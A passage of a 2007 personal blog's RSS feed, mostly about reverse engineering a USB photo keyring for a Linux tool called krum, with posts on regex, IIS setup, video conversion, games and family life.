</description>
</item>
<item>
<title>duffs device</title>
<pubDate>Wed, 24 Oct 2007 21:31:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2007.html#241020072131</link>
<description>
http://en.wikipedia.org/wiki/Duff%27s_device

screaming monkey balls !
</description>
</item>
<item>
<title>krum and the usbmon kernel debug</title>
<pubDate>Wed, 24 Oct 2007 21:23:16 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2007.html#241020072123</link>
<description>
so krum was not producing the correct results, leaving the device in rather an odd state. MY debug data matched the original capture data perfectly so what was going wrong?
I tried krum with the win32 version of libusb and it produced the same results, so Linux is not to blame, unfortunately that means the debug krum is producing is not accurate.
But snoopy pro in windows will not capture the krum data from win32 libusb unless I create driver .INF files for windows and I have a better idea anyway.
Simply setup the linux kernel to dump debug usb data, easy right ?
Hmmm. First off I am not going to change my kernel and reboot unnecessarily, so I used virtualbox&lt;super&gt;[1]&lt;/super&gt; and installed ubuntu&lt;super&gt;[2]&lt;/super&gt;.
Even better ubuntu was noted to have the usbmon kernel debug setup by default (cannot find link) copied in krum ran and started looking for usb data in /var/log/...
Nothing, hmmm, ah, seems I need to rebuild kernel with usbmon, make sense, took a few tries but rebooted into my new kernel (had to edit /boot/grub/menu.lst to allow me to select the new kernel).
Repeated krum still no usb data anywhere ...
Found a great tutorial&lt;super&gt;[3]&lt;/super&gt; that included how to rebuild kernel in ubuntu &lt;super&gt;[4]&lt;/super&gt;, seems I had missed the debug file system.
Right, an number of resources noted the that wireshark&lt;super&gt;[5]&lt;/super&gt; had support to read this debug file system USB data, so install wireshark.
No option in wireshark for USB, download latest source code and build, still no option for USB, install ubuntu's libpcap-dev rebuild wireshark, still no option for USB, build libpcap from source remove ubuntu's libpcap-dev package and try and rebuild wireshark.
Error libpcap not found, rebuild libpcap after specifying
&lt;code&gt;./configure --prefix=/usr&lt;/code&gt;
Rebuild wireshark and all the computer gods be praised it build and ran and USB was an option, started cpature started krum, wireshark complained no packets captured !
Ran krum and then started capture, and it captured something but not much and then errored out saying something about unable to handle USB packet '
'
and just to make this extra fun one of the cats decide to pee on my desk ...
In conclusion I now have a capture from usbmon from krum and it is ugly, will take time to reformat and then compare ...
&lt;super&gt;[1]&lt;/super&gt; http://www.virtualbox.org/ 
&lt;super&gt;[2]&lt;/super&gt; http://www.ubuntu.com/
&lt;super&gt;[3]&lt;/super&gt; http://www.quietearth.us/articles/2006/10/16/USB-Snoop-in-linux
&lt;super&gt;[4]&lt;/super&gt; http://www.quietearth.us/articles/2006/09/15/Ubuntu-Compiling-a-custom-kernel
&lt;super&gt;[5]&lt;/super&gt; http://www.wireshark.org/
</description>
</item>
<item>
<title>what have I done to annoy the universe ?</title>
<pubDate>Wed, 10 Oct 2007 23:06:45 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2007.html#101020072306</link>
<description>
It has been the day from hell, well hellish.
Started this morning being so tired I could not get up and then having to run for the train and also having to rush to get a ticket. All this while getting soaked.
Get into London and I have to go directly to the head office, rush rush rush. Then find the meeting was not until tomorrow, doh!
As I am there, login to a spare machine but its not long before someone else needs the machine, so leave for my normal office. Decide to take a short trip to PC World to get a w2k3 compatible wireless mouse (can not see on on amazon). I was 90% sure I knew how to get there unfortunately it was the other 10% and I was left lost in London getting wetter by the minute.
Finally get back to the office and find I am wearing odd socks, bump into the door frame at least twice and find blisters from all the walking.
On the train home rip my palm open on my jeans studs/rivets, rush home to eat before the LUG. Shove food down my throat and as there is one minute before I am picked up say to Sarah "I am going to check my email, knowing my luck there will be one to say the lift is late". Guess what ...
Still the LUG meeting was a blast, loads of new and old people lots of different problems, questions, discussions. Was serious talk about the LUG site and its future and plans for coming events, very productive.
So not really a bad day after all, of course there is always tomorrow ...

</description>
</item>
<item>
<title>regular expresions get me down but I get up fighting</title>
<pubDate>Sat, 06 Oct 2007 21:08:02 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2007.html#061020072108</link>
<description>
Just for fun I needed a regular expression that would match a known string either at the beginning/end of a line or when surrounded by white space, i.e. a word in a sentence as opposed to a word containing the known string.
I thought A) this would be easy and B) someone had done it before (sounds like a common request.
[the following were done in the <a href="http://www.squarefree.com/shell/">javascript shell bookmarklet</a> for firefox]
<code>print(new RegExp("\\sword","gi").test("wordy");
false</code>
\\s is any whitespace character but apparently does not include start of a line.
<code>print(new RegExp("\\Wword","gi").test("wordy");
false</code>
\\W, non word character has the same issue.
<code>print(new RegExp("\\s?word","gi").test("wordy");
true</code>
? is zero or more times, that works but then so does
<code>print(new RegExp("\\s?word","gi").test("awordy");
true</code>
which is bad.
It needs to be either a white space character or the beginning a of a line, hmmmm, OR ...
<code>print(new RegExp("[^|\\s]word","gi").test("wordy");
false</code>
the | character is OR and the square brackets encapsulate the two options, ^ being the beginning of a line.
But that did not work.
In the end I needed to take a different approach,
<code>print(new RegExp("(^word$)|(^word\\W)|(\\Wword$)|(\\Wword\\W)","gi").test(" zwordz "));
false
print(new RegExp("(^word$)|(^word\\W)|(\\Wword$)|(\\Wword\\W)","gi").test(" word "));
true
<code>print(new RegExp("(^word$)|(^word\\W)|(\\Wword$)|(\\Wword\\W)","gi").test("word"));
true</code>
phew!
So in the end I needed to offer four options (notice the | OR character) 
^word$	Starts a new line ^ and ends a line $		
^word\\W	Starts a new line ^ or is terminated by a non-word character
\\Wword$	Starts with a non-word character and ends a line
\\Wword\\W	Starts with a non-word character and is terminated by a non-word characters.
note: the double slashes are required to escape the characters in strings.
</description>
</item>
<item>
<title>krum works in windows but snoopy is blind</title>
<pubDate>Sat, 06 Oct 2007 20:20:04 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2007.html#061020072020</link>
<description>
I wanted to confirm that my krum usb program was performing the same as the original windows driver.
Krum has extensive loggin and from that it appeared that all was fine but I was still getting a device that was not in a complete state.
So I though I could use <a href="http://libusb-win32.sourceforge.net/">win32-libusb</a>. Installed <a href="http://www.cygwin.com/">cygwin</a> and added libusb support and gcc from the install options. From the new <a href="http://www.cygwin.com/">cygwin</a> shell I could just
<code>gcc krum.c -o krum -lusb</code>
Then I needed to install the filter driver for <a href="http://libusb-win32.sourceforge.net/">win32-libusb</a> and krum worked exactly the same way as in Linux.
So I just ran <a href="http://sourceforge.net/projects/usbsnoop/">snoopypro</a>, restarted the device and immediately saw the URBs for enumeration being captured, so I ran krum in the cygwin shell and it ran but snoopypro record NO FURTHER URBs.
Gutted... but I have a sneaky plan ...
</description>
</item>
<item>
<title>Web service hidden option needed for IIS server 2003</title>
<pubDate>Mon, 24 Sep 2007 21:11:59 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2007.html#240920072111</link>
<description>
For reasons only know to myself I needed to create a c# ASP.net web service. 
Should have been really easy, just create a new ASP.NET project with the webs service template. OK did that without any issue now to create the application that would use the webs service.
Again, just create a new ASP.NET project with web application template and then add in a web reference to the previously created web service.
this is where things got interesting;
<code>
http://localhost/service.asmx
 
 A name was started with an invalid character. Error 
 processing 
 resource 'http://localhost/servi... 
 <%@ WebService Language="C#" 
 CodeBehind="~/App_Code/service.cs" 
 Class="Service" %>
 </code>
 Solution was to enable .NET in IIS, either by going into the settings or running
 <code>aspnet_regiis.exe -i</code>  
 In the Visual Studio shell.
 But then I got "404 page not found" trying to add the reference, doh!
 Turns out the in windows server 2003 (all dev machines in our office) has ASP.NET and .NET version 2 disabled by default.
 So all I had to do was enable them, but after searching all through every settings page I was no closer to the <a href="http://www.eggheadcafe.com/software/aspnet/30066336/using-biztalk-web-service.aspx">"Web Service Extensions" tab</a>(last post).
 In the end it was another folder in the IIS manager at the top level, where you might see FTP or smtp, very odd place to put it.
</description>
</item>
<item>
<title>Time splitters - bad Farcry good !</title>
<pubDate>Sun, 23 Sep 2007 22:19:47 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2007.html#230920072219</link>
<description>
I had been playing "Time Splitters 3 - future perfect" but I have completed it now. It was a odd mixture of good and bad, the first third of the game was pretty bad the middle was better and the end was mostly OK. From ghost that could only be killed by a flame thrower and zombies that were unharmed by the same to bad puns dodgy characters  and very limiting environments to something that was actually quite fun. 
Over all not recommended.
So what am I playing now? "Farcy Instincts - Evolution". Not having seen previous installations I do feel I am missing something but damn this game is good.
You can run around guns blazing or sneak through the bright sun lit jungle literally under the noses of your enemies. The play areas are SOOO BIG! massive in fact and highly detailed.
With the shadows of the trees and birds to the oceans and rivers you feel like you are really there and you can do what you want from blow up bad guys to burning dope fields to racing around of jet skis.
Brilliant !
</description>
</item>
<item>
<title>Ufo adventure version 2 released</title>
<pubDate>Fri, 21 Sep 2007 22:42:15 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2007.html#210920072242</link>
<description>
Finished the second <a href="file:///home/rednuht/projects/flog/Sep2007.html#010920071016">ufo maps mashup</a> <a href="http://www.jumpstation.co.uk/misc/ufo_map/v2/">this time</a> you must help find a missing item.
Drop beacons that tell you how many miles you are from your target but nothing else, oh and you only have 20 beacons. Good luck !
</description>
</item>
<item>
<title>Face sets off for Naples</title>
<pubDate>Fri, 21 Sep 2007 22:25:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2007.html#210920072225</link>
<description>
My face is going to Naples !
 http://facebooked.org.uk/photos/img_501299_530145040.jpg
Slightly worrying that they decided my face should have pride of place on the front.
</description>
</item>
<item>
<title>USB pen drive 8gig can not take files large than 4gig</title>
<pubDate>Fri, 14 Sep 2007 14:33:31 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2007.html#140920071433</link>
<description>
I got a 8gig USB pen drive to ferry large files around as they are so cheap.
Tried to copy a 6gig file onto it from windows and got a strand "Incorrect parameter" error, same using xcopy. Eventually traced it down to Fat32 not supporting single files larger than 4gig. 7zip allowed me to split the file and cat in bash rebuilt it.
The question is, what format should the drive be to take large files and be cross platform compatible ?
</description>
</item>
<item>
<title>LUG talk Steve and openstreetmap me and USB</title>
<pubDate>Fri, 14 Sep 2007 14:29:25 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2007.html#140920071429</link>
<description>
LUG meeting went well, really good turn out and Steve did a really good refresher on openstreetmap.
I forgot my notes about "using windows USB devices in Linux" but I winged it anyway and people seemed interested. But I did not realise how underwhelmed they would be when I reported I could get the number of images off the device and run the "delete all" functionality.
</description>
</item>
<item>
<title>DVD::rip to Zune a short experiment</title>
<pubDate>Mon, 10 Sep 2007 21:49:05 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2007.html#100920072149</link>
<description>
I have tried so many video conversion progies on windows to simply get a DVD converted into a format the ZUNE would like and work smoothly with, none which worked 100%.
So I tried DVD::rip which in turn uses transcode. the following is for my records YMMV.
dvd::rip 
Resize to 320x180 (wide screen)
:AVI
:-FFMPEG
:-MPEG4
:--1500kb/s (very important!)
:MP3
:-128kb/s
:-48hz
Then use Windows media encoder and accept all the defaults setting NO RESIZE!.
2hr Film
DVD::rip 15mins
transcode 2:15
media encoder (forgot to note end time but recon it was about 2hrs)
Zune transfer of the 977mb WMV file 5hrs (damn USB 1.1 slow ports!)
</description>
</item>
<item>
<title>krum delete all further investigation reveals NOTHING</title>
<pubDate>Fri, 07 Sep 2007 14:42:16 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2007.html#070920071442</link>
<description>
OK so the delay thing is not right cos the real app deletes all in an instant.
the missing data was due to running krum against the device while it was in its confused state. Unplugged it and recaptured a new log and compares EXACTLY to the orignal snoopy log.
Only thing that could be wrong is the ABORT / RESET URBS I noted i<a href="http://www.jumpstation.co.uk/flog/Jul2007.html#050720072225">previously</a>.
So if I add an image in windows then DELETE-ALL then run krum with device plugged in it recovers the first image and leaves the device in an odd state, cool ? or bad ?
</description>
</item>
<item>
<title>krum still weird when deleting all</title>
<pubDate>Wed, 05 Sep 2007 22:36:24 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2007.html#050920072236</link>
<description>
Added a 8 second and 3 second delay where they show up in the log but same result.
After replugging the device and rerunning krum the original image REAPPEARS! then get same odd behavior.
I wrote a couple of scripts to reformat my krum logs and the original captures (in text) and they are all identical in codes sent, some of the received stuff does not match but I will check up on that tomorrow.
Maybe it is time to move on to the image uploading stage ...
</description>
</item>
<item>
<title>krum delete all better but still not perfect</title>
<pubDate>Mon, 03 Sep 2007 21:13:38 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2007.html#030920072113</link>
<description>
Quick krum update, I found I had left my 0x0b 0x0e 0x0e 0x0f test data in and that was not ideal but after fixing that a couple of other minor things the delete all operation still does not complete smoothly. The device is left in a strange limbo where the images are not there but the image count says they are.
Might be a timing issue, I will investigate.
</description>
</item>
<item>
<title>UFO map adventure version 1 released</title>
<pubDate>Sat, 01 Sep 2007 10:16:47 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2007.html#010920071016</link>
<description>
I was asked to 'play' around with <a href="http://dev.live.com/virtualearth/sdk/">Virtual Earth SDK</a> as it maybe used in future projects.
I came up with this <a href="/misc/ufo_map/v1/">UFO adventure</a>.
The content is in an IFRAME that is much larger than the displayed area and then recentered. This automatically downloads extra map tiles so you should never see them loading, this has the downside of using much more bandwidth.
The UFO will happily wonder around blowing things up unless you take control with the arrow keys.
SPACE to nuke a site and 'r' will restart the auto-pilot.
This is version 1 and I am considering a more playable 'game' for version 2, stay tuned!
</description>
</item>
<item>
<title>krum deletes !</title>
<pubDate>Thu, 30 Aug 2007 22:22:03 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2007.html#300820072222</link>
<description>
Krum now deletes images off the device, but not cleanly, need to explore the massive 2565 line log file to see what single byte I put wrong :(
</description>
</item>
<item>
<title>topblock on sourceforge for windows is launched</title>
<pubDate>Wed, 29 Aug 2007 21:19:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2007.html#290820072119</link>
<description>
 http://topblock.sf.net has launched, go there for all your topblock on windows needs.
</description>
</item>
<item>
<title>krum still lives</title>
<pubDate>Sun, 26 Aug 2007 14:56:13 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2007.html#260820071456</link>
<description>
although its only a few 30min blocks here and there I have managed to get some time to work on krum.
Cleaned up the code and more importantly fixed the <a href="http://www.jumpstation.co.uk/flog/Jul2007.html#220720072109">shutdown bug</a> that was causing the device to hang.
</description>
</item>
<item>
<title>topBlock for windows</title>
<pubDate>Wed, 22 Aug 2007 22:05:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2007.html#220820072205</link>
<description>
Gentoo updates and having no free time has meant I have not informed you about a windows release of the infamous <a href="http://www.jumpstation.co.uk/xscreensaver/topblock/">topBlock</a> screen saver. It was a hard slog, but I converted it to c# and added all the required windows bits, works well. Everyone in the office use it !
</description>
</item>
<item>
<title>Serious Sam II completed, not so bad?</title>
<pubDate>Wed, 15 Aug 2007 22:38:02 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2007.html#150820072238</link>
<description>
I have completed Serious Sam II so maybe I <a href="http://www.jumpstation.co.uk/flog/Jul2007.html#260720072300">like</a> it more than I <a href="http://www.jumpstation.co.uk/flog/Jul2007.html#190720072142">once</a> thought.
The last few levels were pretty good and the final battle was very hard, at last I might have some time to devote to <a href="http://sourceforge.net/projects/krum">krum</a>
</description>
</item>
<item>
<title>Blender and the case of the decal on ray traced transparencey</title>
<pubDate>Mon, 13 Aug 2007 22:06:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2007.html#130820072206</link>
<description>
Blender can be odd at times and although there are hundreds of tutorials out there you can still be left floundering in the dark about something that seems simple at first glance.
I have created a very nice 3D jar (don't ask) and all I wanted to do was add a label, what could be simpler ?
The confusion seems to surround the fact I am using the Ray trace Transparency not the old Alpha settings. The Ray Trace stuff affects any textures I added, so I would add my label image and it would be mostly transparent and whatever I  did it was always as transparent as the glass I was laying it on. But, if you use Alpha as the setting to control the objects transparency then the texture you apply to it is NOT affected.
On top of that I always find getting textures to line up very difficult, but now I have the answer: Emptys! (not empties).
Add and Empty to the scene and orientate it so that the Y axis points up the Z axis points out and the X axis points horizontally. More specifically, if you were set looking at your object (not the camera view) the Z axis should be invisible (it's point directly at you) and X is pointing directly Right. For some reason a lot of the tutorials keep referring to the Empty's axis point toward the camera.
Then the clever bit, edit the objects materials adding your image as a texture and set the Map Input from the default Orco to Object and type in the name of your Empty.
In the end I had an extra cylinder holding the label texture with its alpha set to 0.
If the texture has an alpha channel then remember to set Alpha in Map Output as well as colour.
Phew, you can not imagine how long I spent looking for this stuff.
</description>
</item>
<item>
<title>Spain loses its sense of taste</title>
<pubDate>Sat, 11 Aug 2007 21:38:36 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2007.html#110820072138</link>
<description>
I can not believe it, I missed this months LUG meeting !
Still I was in Spain at the time on a last minute 4 day holiday meeting up with grandparents. It was very hot and I came back with no sense of taste, specifically I can not taste anything sweet, it affected the front of my tongue only.
What affected my tongue ? the foot tablets I had been taking for over 6 weeks.
Ita a bit od, I can tell you, Coca Cola tastes like fizzy water, Pepsi Max tastes URGK! apples are odd, carrots taste the same and for some reason water now seems to taste better.
The Doctor said my sense of taste would return &quot;In a while&quot; but I did not get that qualified as to how long ...
</description>
</item>
<item>
<title>fix URL</title>
<pubDate>Fri, 03 Aug 2007 22:15:39 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2007.html#030820072215</link>
<description>
that link was infact <a href="http://toast4messenger.sf.net">toast4messenger.sf.net</a>.
</description>
</item>
<item>
<title>Toast for Messenger announced with SF site</title>
<pubDate>Fri, 03 Aug 2007 22:13:16 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2007.html#030820072213</link>
<description>
Another day another project, well not quite this one has been ready for a while. But it seems to have taken ages to get the sourceforge site setup.
So without further ado I announce the <a href="toast4messenger.sf.net">toast for messenger</a> project.
</description>
</item>
<item>
<title>I have seen the URB light and tasted the fountain of knowledge</title>
<pubDate>Thu, 02 Aug 2007 22:02:23 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2007.html#020820072202</link>
<description>
Looking at list of hundreds or URBs it can be difficult to see patterns, but using my modified SnoppyPro to dump to text and then a bit of C# I have seen the light!!
Well, I have seen a common pattern in most of the transactions the Digital KeyRing does.
The one thing that worried me about this project and was made worse by reading the gphoto guys discussion on the Mars chip was compression of the images.
Luckily it seems there are totally uncompressed, so getting the data on will be a doddle of corse converting existing images into the right format might be a pain.
Stay tuned as Krum has been submitted to <a href="www.sf.net">sourceforget.net</a> as a new project.
</description>
</item>
<item>
<title>Kanji date scroll live</title>
<pubDate>Wed, 01 Aug 2007 22:18:53 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2007.html#010820072218</link>
<description>
One of the other projects I had been working on was <a href="/kanjidatescroll">Kanji date scroll</a> an html based Japanese clock with date.
It started life as a simple side project and the requirement was to have static Kanji characters displaying the date and time. Got that working so added a requirement that the characters be animated so you could see the stroke order of them being drawn. Got that done as animated GIFs but then all the characters would draw at once and it looked a bit messy. So the final version uses a Javavscript queuing system. Each time a new character is needed the request is added to the queue and then drawn in stroke order one PNG file at a time.
The background was 5 mins in the GIMP and the overall results are pleasing enough.
<a href="/kanjidatescroll"> Kanji date scroll</a>
</description>
</item>
<item>
<title>krum KeyRing Upload Manager is born</title>
<pubDate>Tue, 31 Jul 2007 21:34:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#310720072134</link>
<description>
So the refactored code from now on to be call krum KeyRing Upload Manager works but I get some sequences returning different values from the original snoopy logs. Also the device is left in what seems to be a hung state, though unplugging an replugging fixes that.
Now to get it to print out the number of stored images...
</description>
</item>
<item>
<title>USBSnoopyPro team give me developer access</title>
<pubDate>Mon, 30 Jul 2007 22:10:42 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#300720072210</link>
<description>
The original USBSnoopPro team are setting me up with developer access to commit my changes and the refactored code (finally) is back to the stage the proof of concept code was at.
</description>
</item>
<item>
<title>Serious Sam II sucks less than previously thought</title>
<pubDate>Thu, 26 Jul 2007 23:00:58 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#260720072300</link>
<description>
I a strange change of heart I am starting to enjoy Serious Sam II, but only since the China stages, there are still problems but the fun is starting to creep back in. Glad I stuck to it, more later...
</description>
</item>
<item>
<title>SnoopyPro original team notified</title>
<pubDate>Thu, 26 Jul 2007 22:58:54 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#260720072258</link>
<description>
Appears you can not commit to an SF project unless you are a registered dev and there has been no life in the project since 2002, still I emailed all the original devs so you never know.
Note to self: do not try and read URBs after midnight ...
My refactored libusb based code is cleaner than the working proof of concept stuff but it is taking a long time to get to the same reliability.
</description>
</item>
<item>
<title>USBSnoopyPro hacked to hell version almost ready for release</title>
<pubDate>Tue, 24 Jul 2007 21:07:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#240720072107</link>
<description>
Not so <a href="http://www.jumpstation.co.uk/flog/Jul2007.html#190720072143">long</a> <a href="http://www.jumpstation.co.uk/flog/Jul2007.html#190720072146">ago</a> I had a simple plan, well that plan is almost at an end.
My re-hacked version of SnoopyPro has
command line switches (now on referred to as flags)
larger default column sizes, so you do not need to manually resize them every time.
An auto Analyze Log flag so that step is removed
An auto dump to text flag, although I no longer needed it might be handy to someone.
An auto dump to XML flag
A base16 flag, which makes the XML output hex and a bit nicer in format.
and exit ASAP flag for batch processing (currently not implemented).
and handles /? so you can see all these options.
If you were to <em>diff</em> the code and see what changes I had made there would be very few, but I had been trying all sorts of different approaches to get the results I wanted. In fact it will be interest to see if anyone corrects my bad c++ when I commit my changes to CVS, or if no one has a working build environment ;)
</description>
</item>
<item>
<title>Read Harry Potter, they put up a tent and Ron makes tea</title>
<pubDate>Tue, 24 Jul 2007 20:56:59 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#240720072056</link>
<description>
I read Harry Potter and the Deathly Hallows this morning and I did not have to queue at midnight like some people I know. And so to ruin it for the rest of you here is what happens;
"They put up a tent and Ron makes tea"
Wow! earth shattering, yes I read one whole sentence are being crammed in Victoria line train this morning. Not impressed.
</description>
</item>
<item>
<title>Alex is standing unaided, run for the hills!</title>
<pubDate>Tue, 24 Jul 2007 20:53:31 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#240720072053</link>
<description>
Alex is standing unaided so locks have had to be put on, well everything, the wii is locked up tight.
His crawling speed has increased exponentially so the cats are having to watch out or suffer a 'grabbing'.
Next step is walking unaided, he already has no problem walking with a block trolley.
</description>
</item>
<item>
<title>Success! can read no. images off device</title>
<pubDate>Sun, 22 Jul 2007 21:09:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#220720072109</link>
<description>
I have succeeded in getting the number of images off the keyring, but it is all proof-of-concept code and is ugly as hell. 
Also the device is locked after I have run it through its paces and requires physically being unplugged/replugged.
Where do I get ABORT and RESET URBs from ??
Next step is to recoded it and then add DELETE-ALL functionality, the Windows software can not delete specific files either.
</description>
</item>
<item>
<title>Quick update on the continued USB work</title>
<pubDate>Sat, 21 Jul 2007 22:36:26 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#210720072236</link>
<description>
Wine is my savior, using snoopypro in wine has made it so easy to see what is going on its is scary. More on that when I have something concrete, although I will say I have found what seems to be the image count !
Just a quick update on the snoopy hacking, did not spend a lot of time on it but I did get it to compile perfectly with my own menu item and to get it to automatically run the "analyze log" and expand all URBs.
Though saying that my win usage preferred the URBs collapsed...
</description>
</item>
<item>
<title>hacking snoopy one step forward</title>
<pubDate>Thu, 19 Jul 2007 21:46:39 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#190720072146</link>
<description>
OK so that did not go so well, so back to the snoopy.
After adding a few directories to the list that VS6 used and copying the Debug folders to Release it built and ran!!
Now to hack my hacky file dump hack ...
hmmmm seems my visual C++ foo is low, this is complex stuff.
</description>
</item>
<item>
<title>ZUNE - something somehting social  blah</title>
<pubDate>Thu, 19 Jul 2007 21:45:44 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#190720072145</link>
<description>
So all the work I have been doing *snigger* has paid off, me and all the other devs (mostly contractors) here just got a package.
Inside is a .... brand new, no questions asked Zune !
but the software does not work in Windows 2003 so I am installing winxp in vmware server, which has downloaded over 60 updates !
The Zune itself looks nice (black), with a big screen, I am told the resolution is the same as the smaller screens of the iPod.
First thing that strikes you trying out the default content is the screen needs to be rotated 90 degrees to watch (any) movie but all the menus always require the system to be upright.
Trolling through the provided videos was a pain what with rotating the screen each time to use the menu.
OK, as I was writing this SP2 was downloading and installing, 3 more virtual reboots and over 30 more updates and the Zune software installs, but then blue screens the VM when detecting hardware :(
Got it home onto Sarah's windows XP machine and after about an hour of Zune updates the firmware upgrade seems to be the at the point vmware sank.
</description>
</item>
<item>
<title>trying to hack snoopy</title>
<pubDate>Thu, 19 Jul 2007 21:43:33 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#190720072143</link>
<description>
I had a simple plan. USBSnoopyPro is the best place to review USB log files and a number of Linux people run WINE just for this reason.
I tried it myself and USBSnoopyPro run fine in WINE. So what was my plan ?
Get the source for snoopyPro and add a hack to dump the tree control to a text file, everybody is happy.
Step 1: get source [x]
Step 2: open project [x] (wants to convert everything to .net, OK)
Step 3: build [-] fails, needs Windows Driver Development Kit, DDK.
Step 4: get DDK 
Step 5: build [-] fails, needs DDK 2000.
Step 6: get DDK2000 [x] turns out you can only get this from MS archives, which I have access too, takes 3 hours to copy.
Step 7: install DDK2000 [-] installs but fails because it needs visual studio 5-6
Step 8: get vmware server, install windows 2000, install visual studio 6, install DDK2000 [x]
its a good thing there is no work actually required at 'work', although I am ready if there ever is.
7 virtual reboots and 2 host restarts later ...
Step 9: shift DDK files around so they can be seen by the build process, adding to include path did not work.
one last error about ml, ...
and then a package arrived. .. ... ..... .......
</description>
</item>
<item>
<title>serious sam II sucks big time!!</title>
<pubDate>Thu, 19 Jul 2007 21:42:32 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#190720072142</link>
<description>
Serious Sam II sucks!
I loooved the first one, it should be recommended gaming to anyone who enjoys FPS especially the original doom/doom II and quake.
Serious Sam I is serious fun, the fun factor is off the scale, fun clever, loved it.
But SSII is everything SSI was not. It is as if someone in marketing said "Serious Sam sales are really good, lets make a sequel", then the meeting went on with "OK tell me what it was about and I will get a new team on it straight away".
"loads of enemies all the time, odd humor, big guns", "OK, I will have that released to market ASAP".
SSII has loads of enemies all the time, has odd humor and big guns but it has none of the original fun factor.
There are large play areas in SSII like in SSI but there are hidden blocks to stop you going into any of them !
I hate the idea of not completing a game I playing but this is so bad I may just give up.
Avoid Serious Sam II at all costs and if you have not yet played (and completed) Serious Sam the original then what are you waiting for !?

</description>
</item>
<item>
<title>the big USB doh!</title>
<pubDate>Thu, 12 Jul 2007 22:38:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#120720072238</link>
<description>
good news everyone !
I had begun to lose hope with understanding the USB URBs from the <a href="http://www.taoelectronics.com/keychain.html">digital image keychain</a>, when I contacted <a href="http://www.phildev.net/">this guy</a> asking about his USB exploits.
He mentioned two key things, one: usblogdump loses endpoint identification and two that you can run usbsnoopyPro in WINE to review the data.
So first up I found I had been basing all my assumptions on the all the URBs using endpoint 0, but that was NOT TRUE, doh!
Then I went back to usbsnoopyPro and found it had a heck load more information and better labels than the text dumps, doh!
Armed with this new information I immediately started mapping the use of the endpoints (which I will not bore you with here).
A colleague noticed all the Hex on my screen and enquired what I was doing, I explained and added "I would be better off debugging the windows driver". 
A light went off in my head and I had a poke at the .INF and .SYS files to find references to MR97310, which turns out to be a known chipset in the <a href="http://www.gphoto.org/">GPHOTO2</a> world.
So there are a number of digital cameras using the Mars MR97310 chip that <a href="http://www.gphoto.org/">GPHOTO2</a> can interface too, and <a href="http://www.gphoto.org/">GPHOTO2</a> is well known as a user of <a href="http://libusb.sourceforge.net/">libusb</a>.
Although they are not the same the protocol used is very simular, I hope to be able to get the number of pictures in the keyring out very soon.
Oh, and I also found this handy <a href="http://www.lrr.in.tum.de/Par/arch/usb/download/usbdoc/">document</a> to aid my understanding of USB.
</description>
</item>
<item>
<title>Audio Jack up at the Lug</title>
<pubDate>Thu, 12 Jul 2007 22:10:49 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#120720072210</link>
<description>
There was an amazing array of audio equipment at this months lug, from pre-amps to huge fluffy mics to drums and lutes!
David gave a very good demo of the Jack audio system in Linux which allows lots of music programs to connect to each other, from drum machines to sequencers to track makers to equalizers and effects systems.
Not to mention midi controlled keyboard and a cow bell !
</description>
</item>
<item>
<title>Image Display Controller--Mars Semiconductor Corp. V1</title>
<pubDate>Tue, 10 Jul 2007 22:09:15 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#100720072209</link>
<description>
somewhere in all the URB packets is a message "Image Display Controller--Mars Semiconductor Corp. V1", but this message is in the form " m  a  a  a  a  a  a  a  a  a  a  a  a  a  a  a " for the 'a' in "Image" and then for each letter the first character of the data is the previous character followed by 15 duplicated characters.
Odd ? I have been reading more of the USB spec and it is not giving me the information I want, I am not sure I need any of this, so where are the commands I do want??
</description>
</item>
<item>
<title>USB decoding ABORTS and RESETS</title>
<pubDate>Thu, 05 Jul 2007 22:25:23 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2007.html#050720072225</link>
<description>
